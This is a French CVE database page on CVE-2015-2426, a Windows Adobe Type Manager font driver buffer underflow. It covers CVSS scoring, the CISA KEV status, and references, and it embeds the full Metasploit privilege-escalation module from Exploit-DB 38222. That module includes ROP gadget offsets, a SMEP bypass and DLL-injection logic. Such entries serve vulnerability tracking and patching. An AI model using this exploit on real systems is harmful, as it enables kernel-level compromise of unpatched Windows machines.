CVE-2015-2426 : Détail

CVE-2015-2426

8.8
/
Haute
Overflow
96.45%V3
Network
2015-07-20
18h00 +00:00
2025-02-10
20h20 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Buffer underflow in atmfd.dll in the Windows Adobe Type Manager Library in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows remote attackers to execute arbitrary code via a crafted OpenType font, aka "OpenType Font Driver Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
CWE-124 Buffer Underwrite ('Buffer Underflow')
The product writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

134c704f-9b21-4f2e-91b3-4a467353bcc0
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Microsoft Windows Adobe Type Manager Library Remote Code Execution Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2022-03-27 22h00 +00:00

Action attendue : 2022-04-17 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 38222

Date de publication : 2015-09-16 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = ManualRanking WIN32K_VERSIONS = [ '6.3.9600.17393', '6.3.9600.17630', '6.3.9600.17694', '6.3.9600.17796', '6.3.9600.17837', '6.3.9600.17915' ] NT_VERSIONS = [ '6.3.9600.17415', '6.3.9600.17630', '6.3.9600.17668', '6.3.9600.17936' ] include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { 'Name' => 'MS15-078 Microsoft Windows Font Driver Buffer Overflow', 'Description' => %q{ This module exploits a pool based buffer overflow in the atmfd.dll driver when parsing a malformed font. The vulnerability was exploited by the hacking team and disclosed on the july data leak. This module has been tested successfully on vulnerable builds of Windows 8.1 x64. }, 'License' => MSF_LICENSE, 'Author' => [ 'Eugene Ching', # vulnerability discovery and exploit 'Mateusz Jurczyk', # vulnerability discovery 'Cedric Halbronn', # vulnerability and exploit analysis 'juan vazquez' # msf module ], 'Arch' => ARCH_X86_64, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ [ 'Windows 8.1 x64', { } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ ['CVE', '2015-2426'], ['CVE', '2015-2433'], ['MSB', 'MS15-078'], ['MSB', 'MS15-080'], ['URL', 'https://github.com/vlad902/hacking-team-windows-kernel-lpe'], ['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/september/exploiting-cve-2015-2426-and-how-i-ported-it-to-a-recent-windows-8.1-64-bit/'], ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=369'], ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=480'] ], 'DisclosureDate' => 'Jul 11 2015', 'DefaultTarget' => 0 })) end def patch_win32k_offsets(dll) @win32k_offsets.each do |k, v| case k when 'info_leak' dll.gsub!([0xdeedbeefdeedbe00].pack('Q<'), [v].pack('Q<')) when 'pop_rax_ret' dll.gsub!([0xdeedbeefdeedbe01].pack('Q<'), [v].pack('Q<')) when 'xchg_rax_rsp' dll.gsub!([0xdeedbeefdeedbe02].pack('Q<'), [v].pack('Q<')) when 'allocate_pool' dll.gsub!([0xdeedbeefdeedbe03].pack('Q<'), [v].pack('Q<')) when 'pop_rcx_ret' dll.gsub!([0xdeedbeefdeedbe04].pack('Q<'), [v].pack('Q<')) when 'deref_rax_into_rcx' dll.gsub!([0xdeedbeefdeedbe05].pack('Q<'), [v].pack('Q<')) when 'mov_rax_into_rcx' dll.gsub!([0xdeedbeefdeedbe06].pack('Q<'), [v].pack('Q<')) when 'pop_rbx_ret' dll.gsub!([0xdeedbeefdeedbe07].pack('Q<'), [v].pack('Q<')) when 'ret' dll.gsub!([0xdeedbeefdeedbe08].pack('Q<'), [v].pack('Q<')) when 'mov_rax_r11_ret' dll.gsub!([0xdeedbeefdeedbe09].pack('Q<'), [v].pack('Q<')) when 'add_rax_rcx_ret' dll.gsub!([0xdeedbeefdeedbe0a].pack('Q<'), [v].pack('Q<')) when 'pop_rsp_ret' dll.gsub!([0xdeedbeefdeedbe0b].pack('Q<'), [v].pack('Q<')) when 'xchg_rax_rsp_adjust' dll.gsub!([0xdeedbeefdeedbe0c].pack('Q<'), [v].pack('Q<')) when 'chwnd_delete' dll.gsub!([0xdeedbeefdeedbe0d].pack('Q<'), [v].pack('Q<')) end end end def set_win32k_offsets @win32k_offsets ||= Proc.new do |version| case version when '6.3.9600.17393' { 'info_leak' => 0x3cf00, 'pop_rax_ret' => 0x19fab, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x6121, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x352220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x98156, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xc432f, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xc4332, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3 'ret' => 0x6e314, # ret C3 'mov_rax_r11_ret' => 0x7018e, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xee38f, # add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0xbc8f, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x189a3a, # xchg esp, eax # sbb al, 0 # mov eax, ebx # add rsp, 20h # pop rbx # ret # 94 1C 00 8B C3 48 83 c4 20 5b c3 'chwnd_delete' => 0x165010 # CHwndTargetProp::Delete } when '6.3.9600.17630' { 'info_leak' => 0x3d200, 'pop_rax_ret' => 0x19e9b, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x6024, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x84f4f, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xc3f7f, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xc3f82, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3 'ret' => 0x14dc, # ret C3 'mov_rax_r11_ret' => 0x7034e, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xed33b, # add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0xbb93, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x17c78c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x146EE0 # CHwndTargetProp::Delete } when '6.3.9600.17694' { 'info_leak' => 0x3d300, 'pop_rax_ret' => 0x151f4, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x600c, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x2cf10, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xc3757, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xc375a, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x6682, # pop rbx # ret # 5B C3 'ret' => 0x6683, # ret C3 'mov_rax_r11_ret' => 0x7010e, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xecd7b, # add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0x71380, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x178c84, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x1513D8 # CHwndTargetProp::Delete } when '6.3.9600.17796' { 'info_leak' => 0x3d000, 'pop_rax_ret' => 0x19e4f, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x5f64, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x352220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x97a5e, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xc3aa7, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xc3aaa, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x1B20, # pop rbx # ret # 5B C3 'ret' => 0x1B21, # ret C3 'mov_rax_r11_ret' => 0x7010e, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xecf8b, # add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0x29fd3, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x1789e4, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x150F58 # CHwndTargetProp::Delete } when '6.3.9600.17837' { 'info_leak' => 0x3d800, 'pop_rax_ret' => 0x1a51f, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x62b4, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x97a4a, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xc3687, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xc368a, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3 'ret' => 0x14dc, # ret C3 'mov_rax_r11_ret' => 0x94871, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xecbdb, # add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0xbd2c, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x15e84c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x15A470 # CHwndTargetProp::Delete } when '6.3.9600.17915' { 'info_leak' => 0x3d800, 'pop_rax_ret' => 0x1A4EF, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x62CC, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x9765A, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xC364F, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xC3652, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14DB, # pop rbx # ret # 5B C3 'ret' => 0x14DC, # ret # C3 'mov_rax_r11_ret' => 0x7060e, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xECDCB, # add rax, rcx # 48 03 C1 C3 'pop_rsp_ret' => 0xbe33, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x15e5fc, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x15A220 # CHwndTargetProp::Delete } else nil end end.call(@win32k) end def patch_nt_offsets(dll) @nt_offsets.each do |k, v| case k when 'set_cr4' dll.gsub!([0xdeedbeefdeedbe0e].pack('Q<'), [v].pack('Q<')) when 'allocate_pool_with_tag' dll.gsub!([0xdeedbeefdeedbe0f].pack('Q<'), [v].pack('Q<')) end end end def set_nt_offsets @nt_offsets ||= Proc.new do |version| case version when '6.3.9600.17415' { 'set_cr4' => 0x38a3cc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x2a3a50 # ExAllocatePoolWithTag } when '6.3.9600.17630' { 'set_cr4' => 0x38A3BC, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x2A3A50 # ExAllocatePoolWithTag } when '6.3.9600.17668' { 'set_cr4' => 0x38A3BC, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x2A3A50 # ExAllocatePoolWithTag } when '6.3.9600.17936' { 'set_cr4' => 0x3863bc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x29FA50 # ExAllocatePoolWithTag } else nil end end.call(@ntoskrnl) end def atmfd_version file_path = expand_path('%windir%') << '\\system32\\atmfd.dll' major, minor, build, revision, branch = file_version(file_path) return nil if major.nil? ver = "#{major}.#{minor}.#{build}.#{revision}" vprint_status("atmfd.dll file version: #{ver} branch: #{branch}") ver end def win32k_version file_path = expand_path('%windir%') << '\\system32\\win32k.sys' major, minor, build, revision, branch = file_version(file_path) return nil if major.nil? ver = "#{major}.#{minor}.#{build}.#{revision}" vprint_status("win32k.sys file version: #{ver} branch: #{branch}") ver end def ntoskrnl_version file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe' major, minor, build, revision, branch = file_version(file_path) return nil if major.nil? ver = "#{major}.#{minor}.#{build}.#{revision}" vprint_status("ntoskrnl.exe file version: #{ver} branch: #{branch}") ver end def check # We have tested only windows 8.1 if sysinfo['OS'] !~ /Windows 8/i return Exploit::CheckCode::Unknown end # We have tested only 64 bits if sysinfo['Architecture'] !~ /(wow|x)64/i return Exploit::CheckCode::Unknown end atmfd = atmfd_version # atmfd 5.1.2.238 => Works unless atmfd && Gem::Version.new(atmfd) <= Gem::Version.new('5.1.2.243') return Exploit::CheckCode::Safe end # win32k.sys 6.3.9600.17393 => Works @win32k = win32k_version unless @win32k && WIN32K_VERSIONS.include?(@win32k) return Exploit::CheckCode::Detected end # ntoskrnl.exe 6.3.9600.17415 => Works @ntoskrnl = ntoskrnl_version unless @ntoskrnl && NT_VERSIONS.include?(@ntoskrnl) return Exploit::CheckCode::Unknown end Exploit::CheckCode::Appears end def exploit print_status('Checking target...') if is_system? fail_with(Failure::None, 'Session is already elevated') end check_result = check if check_result == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, 'Target not vulnerable') end if check_result == Exploit::CheckCode::Unknown fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end if check_result == Exploit::CheckCode::Detected fail_with(Failure::NotVulnerable, 'ROP chain not available for the target nt/win32k') end unless get_target_arch == ARCH_X86_64 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') end print_status("Exploiting with win32k #{@win32k} and nt #{@ntoskrnl}...") set_win32k_offsets fail_with(Failure::NoTarget, 'win32k.sys offsets not available') if @win32k_offsets.nil? set_nt_offsets fail_with(Failure::NoTarget, 'ntoskrnl.exe offsets not available') if @nt_offsets.nil? begin print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Sandboxes could not allow to create a new process # stdapi_sys_process_execute: Operation failed: Access is denied. print_status('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-2426', 'reflective_dll.x64.dll') library_path = ::File.expand_path(library_path) print_status("Reflectively injecting the exploit DLL into #{process.pid}...") dll = '' ::File.open(library_path, 'rb') { |f| dll = f.read } patch_win32k_offsets(dll) patch_nt_offsets(dll) exploit_mem, offset = inject_dll_data_into_process(process, dll) print_status("Exploit injected. Injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. print_status('Payload injected. Executing exploit...') process.thread.create(exploit_mem + offset, payload_mem) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_vista >> Version -

Références

http://www.securitytracker.com/id/1032991
Tags : vdb-entry, x_refsource_SECTRACK
http://www.kb.cert.org/vuls/id/103336
Tags : third-party-advisory, x_refsource_CERT-VN
https://www.exploit-db.com/exploits/38222/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/75951
Tags : vdb-entry, x_refsource_BID